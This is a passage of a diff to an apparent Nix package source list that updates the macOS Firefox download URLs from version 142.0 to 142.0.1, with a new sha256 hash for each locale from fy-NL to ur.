       arch = "mac";
-      sha256 = "75f269d7b3ff0cec1c0756f68ff5f93734caec4af9292805501c85fe8a2edf8b";
+      sha256 = "063e058f5364a4a5b96d69efb414e32d6a5442eb6314b8d3038aadc9b7df5cc9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/fy-NL/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/fy-NL/Firefox%20142.0.1.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "bf962c183c63d8c31245b76d3aa969448055ed776f7eabb7f84d62dfe9435efd";
+      sha256 = "739c8324eed7806f14a193ccb5c01b60f449258fe33ab056eaf60835b785f7c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ga-IE/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/ga-IE/Firefox%20142.0.1.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "89fb9c8845b97ba0e035ad6d5de77cfea15a90a7dfc8b3b4a1188f5d639950e4";
+      sha256 = "abab66450bba43fcb05102dc97679593c50a832fc01ef4a8c2b9c8b6fa144e93";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/gd/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/gd/Firefox%20142.0.1.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "d0bc4c08e1b5adebaf0ff5f882468a5c6e2a91e44b9ed3ef3bff74874bf6adb6";
+      sha256 = "4fa7478e6719d441318ad209a5f1e9f632b75029c6dcf808846e119f774a5ee3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/gl/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/gl/Firefox%20142.0.1.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "417de4bc466800813de91a0f9511fccfb7e2b3c487b3953a8bfb9474bf244372";
+      sha256 = "2c994083f2530f65f5241114da904dd394658dc27cb27112aed227ed37a61b6e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/gn/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/gn/Firefox%20142.0.1.dmg";
       locale = "gn";
       arch = "mac";
-      sha256 = "2238c8517dfb6a19fcf74e2aaf9d3fb6b32c1500df39df09a807051c91628f4f";
+      sha256 = "1baa724a2ec30b315e24ceed6fa8b47f5668c3ac6015ebef0e44c2f5732f82a6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/gu-IN/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/gu-IN/Firefox%20142.0.1.dmg";
       locale = "gu-IN";
       arch = "mac";
-      sha256 = "0a6b50c997b8b6dda0abb2f79d7e0b55f9b5fefc4c3d3fc54f485309c7a42f28";
+      sha256 = "c11f3a6fd4e1450b00e9bd592dec089725f611f337c6b8605b0cdc562472be4a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/he/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/he/Firefox%20142.0.1.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "0403bdf80e538c0e6393154dfa6395bf67ba846e22fb2e3d2226e77056767735";
+      sha256 = "65430ec72630fc5da2266f4e77d37a0b2f28203f4c7d52ed932d253d9a5bab1f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/hi-IN/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/hi-IN/Firefox%20142.0.1.dmg";
       locale = "hi-IN";
       arch = "mac";
-      sha256 = "fa29a5c228b0a388105b0435ee8391ade40a64d989c7061538b08f3b8bdf033a";
+      sha256 = "c7223252f1f768285c3129ecb6c856981be958c91524ea272924008a64d464a8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/hr/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/hr/Firefox%20142.0.1.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "a68ec11b400270e0c92b7909830a138d22c62e6d1c5a1c3e48ede46064c132a2";
+      sha256 = "d1f9d611b3b45e767f151b5ec0c00315e77f356b48acd5446317e8c76f806375";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/hsb/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/hsb/Firefox%20142.0.1.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "975338659f06e26bc0ad861d4e3812f450d322213d3eae6adf1813dbdcd228b9";
+      sha256 = "fa23dcc83458d2027025dacbb65cee9dcb9d10bbe7c9cd1cf948e41e754278b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/hu/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/hu/Firefox%20142.0.1.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "2e23dcdeca7d097e7391f128fb1318b513f2a336b726982f26cdace967228bd2";
+      sha256 = "8a872b07bafe2e2d0a8365fc528f78c507665c13d9a35bd7d0c135f27d7d93d5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/hy-AM/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/hy-AM/Firefox%20142.0.1.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "0fd453412aa479f31ea0a66fbaeeb384627cef88c84b9e2607703264fd1dafd8";
+      sha256 = "7d0498d17667d9cba0e4b6ebe600a195a07b121012a75d342e293ed75a65ae2c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ia/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/ia/Firefox%20142.0.1.dmg";
       locale = "ia";
       arch = "mac";
-      sha256 = "3d750e9c0885502b57d97ff2bea8eaf00f1d205dba1cb5e64ded6fbed04ba53a";
+      sha256 = "984f08e4ce0c661678fe89bc9adec79c6c0c2f62e1faedeac5e2d7b85dd8065a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/id/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/id/Firefox%20142.0.1.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "52a7958c8202c6657c09560a51398fea3288dc363f0e76cb5c617ae9ae4b1d79";
+      sha256 = "845b6055e3c79035183a2c5fdd8fedd2e66c542283eef8c5e32003de0ffbb3d9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/is/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/is/Firefox%20142.0.1.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "d6b1a5594f7c676add3eda5496112934620d28d3ba91bd998370b216391366b0";
+      sha256 = "1e94d09a26b48e4ea458caccc29589f0fda6491577b980b994077076cacfced4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/it/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/it/Firefox%20142.0.1.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "2f101a09cffe3f9753b0013e2d2f75ec3b424fb2573461d70e3f8090ed33ac64";
+      sha256 = "134f43f452c14542a51d8f09e2b38ab19288d32eb6d02ea753bc81b7d1c575a4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ja-JP-mac/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/ja-JP-mac/Firefox%20142.0.1.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "57fe48a002ecf9ae4eb8dc61172b415b6d475c9a4056481fd0c7a00d6653726c";
+      sha256 = "ce4c7d2212b7a5023a066668108f844aee73ed4ea07bda251fa9c2dbe0553743";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ka/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/ka/Firefox%20142.0.1.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "ab7539e3c812221333fe0d91ea44e79007af509761c805770fe6151805f29ee5";
+      sha256 = "d9b4a9b00c3c303edbe2f1407e7a6858f98a8f39e978436915809b14f9bcac27";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/kab/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/kab/Firefox%20142.0.1.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "75c4be686995728b16b62c15b5b8f95de65424c53b70530c692e51024661a170";
+      sha256 = "860e48e7703729642fb57b05b11296596d237f54a34b65d37e8b4ab7e273478b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/kk/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/kk/Firefox%20142.0.1.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "9b1f67591976b72203346391172c6e8e431e454a3dba14fe190eb74a8acfe8db";
+      sha256 = "1a028bfcb95c7b9a92437c9a36fe930e7c03f686151559d607777be96a86084c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/km/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/km/Firefox%20142.0.1.dmg";
       locale = "km";
       arch = "mac";
-      sha256 = "4344634a43f5699763c4f1cdc46420fc7247882470a3365fd76baa5f12a76963";
+      sha256 = "5774079221ad2e85fa5c9ce0415e5848568e861a2f69998c7d1bb657fe0bf5f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/kn/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/kn/Firefox%20142.0.1.dmg";
       locale = "kn";
       arch = "mac";
-      sha256 = "1b30a75ef85f2b0ed5603d5f847874cf96ba450245453d5dc1431f1a00601970";
+      sha256 = "5132290ec8900f805b1d945c25a4141ad0bbc61194cac7bf76f5ea5afbc8b4e4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ko/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/ko/Firefox%20142.0.1.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "5973c8b666a61845335bb2fb3299c78588f1a81a0edd9cfb668ca75e7a4288d4";
+      sha256 = "6089170f94229196083b33f6849ee91917face2934b1785590883ff1b57ddd40";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/lij/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/lij/Firefox%20142.0.1.dmg";
       locale = "lij";
       arch = "mac";
-      sha256 = "53a3c2965120ad8a27d15578eea9687747b05b2a908e5566cdf0fae34a39e98f";
+      sha256 = "b8b81b77fab324d416298c086df0dae68b8bb84dd99d1bf88fcecf183f926dfd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/lt/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/lt/Firefox%20142.0.1.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "de50b2f81543a471c381041dfdbe8b41b5547c3dab0ba212939796e1b881adf9";
+      sha256 = "a04e3c17d0de47a5668ac49cec634ae5605ae2c9667cd53cb93b0d91332a9d73";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/lv/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/lv/Firefox%20142.0.1.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "3fcdbbf864fd2d246e0ee3229b3ab0f1094af9cc64121fb5d1520f60bc0d44ab";
+      sha256 = "4757a81c2b812ac2150e77163ea6f1fba216059703b7afe8656239d2f9b534ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/mk/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/mk/Firefox%20142.0.1.dmg";
       locale = "mk";
       arch = "mac";
-      sha256 = "21f06d3daaee1bd5d6474ee87c64585b5c249e7e5ad342dbd59bf4447097d22d";
+      sha256 = "7619ff0256052aeafd574da59aa160148342e4334676c64c0e19f975cc9af067";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/mr/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/mr/Firefox%20142.0.1.dmg";
       locale = "mr";
       arch = "mac";
-      sha256 = "ca6cea513caa1a5ec6658a27397f763fef29bc6875f9596ee0012e1a627c3a16";
+      sha256 = "6f47d2298441f776745b9a62206d46ae448ba19aa05ace914da2ae5e84f496f1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ms/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/ms/Firefox%20142.0.1.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "2d55ca7bad3e5a3627c41fc7b38c13827dcc308615fe50dff6a84cda37034a14";
+      sha256 = "2a007b17e2a90ad556e3828af29fd50febeda1e0be12cccf8920e750ad875542";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/my/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/my/Firefox%20142.0.1.dmg";
       locale = "my";
       arch = "mac";
-      sha256 = "696c5292317d76d6931b24d62bc9d187ef0df57f2d546ffc08e829b15f5f9338";
+      sha256 = "83bc4e86e52c0a244689033fe269d07f7b7b2f6e24743f1060bed9d81f1c5485";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/nb-NO/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/nb-NO/Firefox%20142.0.1.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "af9c6ddda9f9ec3536a30fdfc72405e6b6d03abd33c82d33a4f47898d11bbd6e";
+      sha256 = "41be7f66ea6be377681367b81fbfdd67b832d92bb76f70168df519e9c5fc6e05";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ne-NP/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/ne-NP/Firefox%20142.0.1.dmg";
       locale = "ne-NP";
       arch = "mac";
-      sha256 = "53ec6ef1f602f495ed2a037e78f46a5bb2d28dff8c647bfb49a61180062502a4";
+      sha256 = "aecb2d9f260f7010e9e017176fda48be4de3e4dc5bff1542e1c6324f6509b712";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/nl/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/nl/Firefox%20142.0.1.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "391683d047b3524f244a40633d74e9e295a959847b793a6f8ea5c83074441ae5";
+      sha256 = "cbfed5416d8efe32ac59bbdd06bf187a5a08da9592cbd5816b0a488438fff499";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/nn-NO/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/nn-NO/Firefox%20142.0.1.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "5b7d9599108975720d4d8ebd05db95d29da33749d1d6ca35d9794e6800f993dc";
+      sha256 = "a010118bb0e98b1ccf8582924de7f80a1e5d5394613e8808182fe801ee033ad6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/oc/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/oc/Firefox%20142.0.1.dmg";
       locale = "oc";
       arch = "mac";
-      sha256 = "83de1844115941bd211f76fc064f36c359a418b9f07dc50afea7944731b15a0c";
+      sha256 = "25048505936380fe4ef6d4438a55e7cd187bf38f2a3697505fa78b3da11a6c73";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/pa-IN/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/pa-IN/Firefox%20142.0.1.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "c5925a3595907e4f31cf4731f4778a0e3747a6e0aa24d8cef7ce2c8cbd95945a";
+      sha256 = "1449232d6b73e37bae2aa3e9569ab7baa2e90d6cb594e520aa3cb367872c577b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/pl/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/pl/Firefox%20142.0.1.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "44b373d5aff7a9b1b450a9d14a7f1a4ca2bb4a222a37aae421ad6a955efebe96";
+      sha256 = "2a9a60e2dc821ac9f4ce7e256cefdfcb8cfcdfcaafa92caa568c16fd05c11d8d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/pt-BR/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/pt-BR/Firefox%20142.0.1.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "252d327c4512a7fc3d0e685231f1d0b002af460427ffa095138da0ac2986349e";
+      sha256 = "e1b8354b5eafc4c3c85e4612e13b60ba6ba1d8a23dc6ad3a115e69192a8cf385";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/pt-PT/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/pt-PT/Firefox%20142.0.1.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "6228dc5de24d9daaf2360767625f7f994d522defe8db57feba7a982034624b34";
+      sha256 = "e09842a2f2882fc5bd151047c7276a822ba952b5c76570630bd1b2b35fd73563";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/rm/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/rm/Firefox%20142.0.1.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "f9ed3ad0f8c332e7404e8b337c6ba70036bfa3ff2412d51dc608154d5c7112c3";
+      sha256 = "7a44ac10888b40216df8952881979f7ac6f07a893bf5f652114017db73f7c6f0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ro/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/ro/Firefox%20142.0.1.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "ff8f09628ae4f221a8cf76092786623dfa478eb6be851ee5fae2f5683aa8f19d";
+      sha256 = "0baecfc067e10ba69f2e1435e5ebc03d0947d15aae6bc133d4bc41550ea0f0ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ru/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/ru/Firefox%20142.0.1.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "2ff2dcbfad1dbe88be2cf790fc16aeb69f4a92515b9f9daa628b672a8420e377";
+      sha256 = "f78f37705aa2181784e46f23a774b6ccccb364b96e21b42711d715c552e8ba8e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/sat/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/sat/Firefox%20142.0.1.dmg";
       locale = "sat";
       arch = "mac";
-      sha256 = "bb90cdeca2802e9e19ecf88d4744844aed39a2d20655749c43574bab536fee4c";
+      sha256 = "ed593cc42643ba16b0ccfff8b0d731d1eeda2ce79dd6aad6b3465835fb3ae84f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/sc/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/sc/Firefox%20142.0.1.dmg";
       locale = "sc";
       arch = "mac";
-      sha256 = "35311be30a210d5fbfe3430db8617abb9c9d85214b1ade05318397d2b4fb133c";
+      sha256 = "a5680eaea32883785969561f3947c6601927830cd82e3a53e076acd09bd987c9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/sco/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/sco/Firefox%20142.0.1.dmg";
       locale = "sco";
       arch = "mac";
-      sha256 = "af1b6f912dc48e11bb4f6afbda3c6a2412e784669e60f605d044584348b7d43a";
+      sha256 = "68b4922e479edb67446002e6e1f051a42fef0ac650880d7ca90087b33a4a0f36";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/si/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/si/Firefox%20142.0.1.dmg";
       locale = "si";
       arch = "mac";
-      sha256 = "5ed11670f2b077f99d38453c6e0c61efd2545ef93948e753c7562487a1122177";
+      sha256 = "ebaa279d6cb51f8282327d3a331865cddcfcd307730dc9e02a18b65f4aea1789";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/sk/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/sk/Firefox%20142.0.1.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "2edcc356df44e3b9223177c6b6a89bf63b5a24e3785341ac209d3ec834768eec";
+      sha256 = "de7d9fdc5b77c09a073f4e0c2c5933157a581950ae2d2cd2e2d3c671ad077110";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/skr/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/skr/Firefox%20142.0.1.dmg";
       locale = "skr";
       arch = "mac";
-      sha256 = "b6fe08ab8dd99794106f5dfeff0f294926d6f54690e4b616505eb70195a0c048";
+      sha256 = "5d08a67a30c4c3415f52a05fde01ed94e572a37122407907711c7a2857067cd1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/sl/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/sl/Firefox%20142.0.1.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "ab3f930c019bf88b296b3861a8eed095ec80684ca51ad96ce805b4f26a4c452e";
+      sha256 = "cb8caea42a501dc7ba19b75e3d62e02e9e1770a3514b508ab6dbf25bef9b10b5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/son/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/son/Firefox%20142.0.1.dmg";
       locale = "son";
       arch = "mac";
-      sha256 = "2911806bd0e20bc2bffe220b36c207e2df4376d101f730f0a74b8856b0ef62fe";
+      sha256 = "7ada91cffbcc8300f64fe70143aedd90ca2726b55732bc5b174a274d21b5a9f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/sq/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/sq/Firefox%20142.0.1.dmg";
       locale = "sq";
       arch = "mac";
-      sha256 = "7bf8d73482bf7999d1eb8079213771867415fd65ff03c96b82f22251c961dd84";
+      sha256 = "7a5a0ff9803d1e7a8f5d2336c85227a0b9cc97a1a6d20a7de025e322930c8d7e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/sr/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/sr/Firefox%20142.0.1.dmg";
       locale = "sr";
       arch = "mac";
-      sha256 = "b9f9c929f696ed684a5faf6260547ce0bddeb3f5e5c5f11780fc1b69bc9e625a";
+      sha256 = "e56f62b79bd50605228fbb33ed67ca806c7d6a3a1735a9f6764d7c19a8c50c6c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/sv-SE/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/sv-SE/Firefox%20142.0.1.dmg";
       locale = "sv-SE";
       arch = "mac";
-      sha256 = "a169a7415c5ba091b8c979cce851a534ac4dcbf21e90c370964831ac3861d76f";
+      sha256 = "7474197703802227c7b2e7569d7979d02c619506ef9f48c27f49ac1c23698a4e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/szl/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/szl/Firefox%20142.0.1.dmg";
       locale = "szl";
       arch = "mac";
-      sha256 = "6ad62161db21437be1df26f645757ffe548472dd18bf5168337c616044eb626f";
+      sha256 = "3195a47f2422533e6aa9e8cf3aa0b6b5f93b0829dcf41f154d4f9ec443612225";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ta/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/ta/Firefox%20142.0.1.dmg";
       locale = "ta";
       arch = "mac";
-      sha256 = "5c3c85f12f5e323d4ef10d0ede3c54b6cf9fe59f22e3c6ebb8d2ce589fe41e74";
+      sha256 = "dacad645c0ce32256464261858247b60d3f383d62eca5d21e9aac24d7b26ca0b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/te/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/te/Firefox%20142.0.1.dmg";
       locale = "te";
       arch = "mac";
-      sha256 = "acc361fa1893a1470f0d6b688f0e3c1ec36384b7ee9e9b4c515a4f8fd01e3281";
+      sha256 = "7ea324bfc0fd150fb60a6e960969424d365407586af70766164232177f9ca923";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/tg/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/tg/Firefox%20142.0.1.dmg";
       locale = "tg";
       arch = "mac";
-      sha256 = "90f09a050429b35aac98e79999ff158b47c56fbb47f589a8dd6196d91621a543";
+      sha256 = "c529047c4f254f29dc0e218ed24abfb9902ee594c242c7e18e2b9e577acf32cf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/th/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/th/Firefox%20142.0.1.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "c1bfc1626cec042f55fb838a6f47cccaadd45a9410221938555a13fa4b946d35";
+      sha256 = "c8464e8bb9d44cc35d002a4b7511f6e8834a42a445568af413046b0b959a6309";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/tl/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/tl/Firefox%20142.0.1.dmg";
       locale = "tl";
       arch = "mac";
-      sha256 = "d26e2244a1994023530f97e63678c79eb233a66b1d8f97f115e34aecf19566e2";
+      sha256 = "0d17bbd58ed4a470065dd055367c0eb7b9d2fff078196d4103fe0c7c2f2425af";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/tr/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/tr/Firefox%20142.0.1.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "9f08fcc8807bcaf68248cfd7c5eb1dfc91c8e94eedf159f80d063d08a6ed8cba";
+      sha256 = "df2625899d709c1695ede89e7d7bcf04e79c528ba2f462cf4214df157558c087";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/trs/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/trs/Firefox%20142.0.1.dmg";
       locale = "trs";
       arch = "mac";
-      sha256 = "f1802cb5b7e61cfe68050b555cc01302c0821bda21398a6bd3862904030d5434";
+      sha256 = "1553c0af94131fcbe6534116aab7f215acdfeb54b36f752677495116bd86d00d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/uk/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/uk/Firefox%20142.0.1.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "9fdbb3fd93d059ffde5e5306a1fc0b0f4e80e7b8b216d627cf69ad026cd8f3d3";
+      sha256 = "f22c5260d1f6b96fe143ddeef4c42f7df4296ad541937ed9f824cd47c4e511b9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ur/Firefox%20142.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0.1/mac/ur/Firefox%20142.0.1.dmg";
       locale = "ur";
       arch = "mac";
